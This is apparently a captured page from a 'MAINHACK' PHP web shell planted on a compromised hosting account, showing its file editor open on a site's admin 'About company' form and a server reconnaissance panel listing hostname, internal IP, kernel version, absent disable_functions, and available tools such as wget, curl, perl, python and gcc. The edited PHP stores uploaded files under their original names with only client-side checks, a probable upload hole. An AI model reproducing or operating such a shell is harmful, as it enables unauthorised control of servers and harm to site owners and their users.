[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: add_about.php
<?php include 'header.php' ?> <div class="main-panel"> <div class="content"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <div class="card"> <div class="card-header"> <div class="card-title">About company</div> </div> <form method="post" id="exampleValidation" data-toggle="validator" enctype="multipart/form-data" > <input type="hidden" name="tablename" value="food_maker"> <div class="card-body"> <div class="form-group form-show-validation row"> <label for="name" class="col-lg-3 col-md-3 col-sm-4 mt-sm-2 ">About Section 1 <span class="required-label">*</span></label> <div class="col-lg-12 col-md-12 col-sm-12"> <textarea name="about2" class="form-control" rows="10"><?=$about2?></textarea> </div> </div> <div class="form-group form-show-validation row"> <label for="email" class="col-lg-3 col-md-3 col-sm-4 mt-sm-2 text-right">About Us Image1<span class="required-label"></span></label> <div class="col-lg-9 col-md-9 col-sm-8"> <div class="input-file input-file-image"> <img class="img-upload-preview img-circle" width="100" height="100" src="<?=$image2?>" alt="preview"> <input type="file" class="form-control form-control-file" id="about_img2" onchange="return fileValidation('about_img2','500')" name="image2" accept="image/*" > <label for="about_img2" class=" label-input-file btn btn-icon btn-primary btn-round btn-lg"><i class="la la-file-image-o"></i> Upload a Image</label> </div> </div> </div> <div class="form-group form-show-validation row"> <label for="name" class="col-lg-3 col-md-3 col-sm-4 mt-sm-2 ">About Section 2 <span class="required-label">*</span></label> <div class="col-lg-12 col-md-12 col-sm-12"> <textarea name="about3" class="form-control" rows="10"><?=$about3?></textarea> </div> </div> <div class="form-group form-show-validation row"> <label for="email" class="col-lg-3 col-md-3 col-sm-4 mt-sm-2 text-right">About Us Image2<span class="required-label"></span></label> <div class="col-lg-9 col-md-9 col-sm-8"> <div class="input-file input-file-image"> <img class="img-upload-preview img-circle" width="100" height="100" src="<?=$image3?>" alt="preview"> <input type="file" class="form-control form-control-file" id="about_img3" onchange="return fileValidation('about_img3','500')" name="image3" accept="image/*" > <label for="about_img3" class=" label-input-file btn btn-icon btn-primary btn-round btn-lg"><i class="la la-file-image-o"></i> Upload a Image</label> </div> </div> </div> <!--- <div class="form-group"> <div class="col-md-6"> <label>Paytm Number</label> <input type="text" class="form-control" value="<?=$paytm?>" name="paytm" placeholder="Paytm"> </div> </div> <div class="form-group form-show-validation row"> <label class="col-lg-3 col-md-3 col-sm-4 mt-sm-2 text-right">Paytm QR CODE<span class="required-label">(Max File size:100kb).</span></label> <div class="col-lg-4 col-md-9 col-sm-8"> <div class="input-file input-file-image"> <input type="hidden" value="<?=$paytm_img?>" name="paytm_img1"> <img class="img-upload-preview img-circle" width="100" height="100" src="<?=$paytm_img?>" alt="preview"> <input type="file" class="form-control form-control-file" id="paytm_img" name="paytm_img" onchange="return fileValidation('paytm_img','100')" accept="image/*" > <label for="paytm_img" class=" label-input-file btn btn-icon btn-primary btn-round btn-lg"><i class="la la-file-image-o"></i> Upload a Image</label> </div> </div> </div> <div class="form-group"> <div class="col-md-6"> <label>PhonePe Number</label> <input type="text" class="form-control" value="<?=$phonepe?>" name="phonepe" placeholder="PhonePe"> </div> </div> <div class="form-group form-show-validation row"> <label class="col-lg-3 col-md-3 col-sm-4 mt-sm-2 text-right">PhonePe QR CODE<span class="required-label">(Max File size:100kb).</span></label> <div class="col-lg-4 col-md-9 col-sm-8"> <div class="input-file input-file-image"> <input type="hidden" value="<?=$phonepay_img?>" name="phonepe1"> <img class="img-upload-preview img-circle" width="100" height="100" src="<?=$phonepay_img?>" alt="preview"> <input type="file" class="form-control form-control-file" id="phonepe" name="phonepe" onchange="return fileValidation('phonepe','100')" accept="image/*" > <label for="phonepe" class=" label-input-file btn btn-icon btn-primary btn-round btn-lg"><i class="la la-file-image-o"></i> Upload a Image</label> </div> </div> </div> <div class="form-group"> <div class="col-md-6"> <label>GPay Number</label> <input type="text" class="form-control" value="<?=$gpay?>" name="gpay" placeholder="GPay"> </div> </div> <div class="form-group form-show-validation row"> <label class="col-lg-3 col-md-3 col-sm-4 mt-sm-2 text-right">GPay QR CODE<span class="required-label">(Max File size:100kb).</span></label> <div class="col-lg-4 col-md-9 col-sm-8"> <div class="input-file input-file-image"> <input type="hidden" value="<?=$gpay_img?>" name="gpay_img1"> <img class="img-upload-preview img-circle" width="100" height="100" src="<?=$gpay_img?>" alt="preview"> <input type="file" class="form-control form-control-file" id="gpay_img" name="gpay_img" onchange="return fileValidation('gpay_img','100')" accept="image/*" > <label for="gpay_img" class=" label-input-file btn btn-icon btn-primary btn-round btn-lg"><i class="la la-file-image-o"></i> Upload a Image</label> </div> </div> </div> ---> <div class="card-action"> <div class="row"> <div class="col-md-12"> <input class="btn btn-success" type="submit" name="sub" value="Submit"> </div> </div> </div> <?php if(isset($_POST['sub'])){ $allowed = ["about1","about2","about3","about4"]; $params = []; $setStr = ""; foreach ($allowed as $key) { if (isset($_POST[$key]) && $key != "id") { $setStr .= "`$key` = :$key,"; $params[$key] = htmlspecialchars($_POST[$key]); } } if(file_exists($_FILES['image1']['tmp_name']) || is_uploaded_file($_FILES['image1']['tmp_name'])) { $setStr .= "`image1` = :image1,"; $img=$show->imageEdit($_FILES['image1']['name']); move_uploaded_file($_FILES['image1']['tmp_name'],"../product_img/".$img); $params['image1'] =$img; } if(file_exists($_FILES['image2']['tmp_name']) || is_uploaded_file($_FILES['image2']['tmp_name'])) { $setStr .= "`image2` = :image2,"; $img=$show->imageEdit($_FILES['image2']['name']); move_uploaded_file($_FILES['image2']['tmp_name'],"../product_img/".$img); $params['image2'] =$img; } if(file_exists($_FILES['image3']['tmp_name']) || is_uploaded_file($_FILES['image3']['tmp_name'])) { $setStr .= "`image3 = :image3,"; $img=$show->imageEdit($_FILES['image3']['name']); move_uploaded_file($_FILES['image3']['tmp_name'],"../product_img/".$img); $params['image3'] =$img; } if(file_exists($_FILES['image4']['tmp_name']) || is_uploaded_file($_FILES['image4']['tmp_name'])) { $setStr .= "`image4` = :image4,"; $img=$show->imageEdit($_FILES['image4']['name']); move_uploaded_file($_FILES['image4']['tmp_name'],"../product_img/".$img); $params['image4'] =$img; } $setStr = rtrim($setStr, ","); $params['id'] =$cid; $show->table ='profile'; $show->cols =$setStr; $show->id_name ='id'; $show->params =$params; //print_r($setStr); //print_r($params); if($show->update_all()){ echo "<script>sweetAlert('Ok', 'About has been updated','success');window.location.href='".$_SERVER['request_uri']."';</script>"; }else{ echo "<script>alert('Something went wrong');</script>"; } } ?> </div> </form> </div> </div> </div> </div> </div> <?php include 'footer.php'; ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.75 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619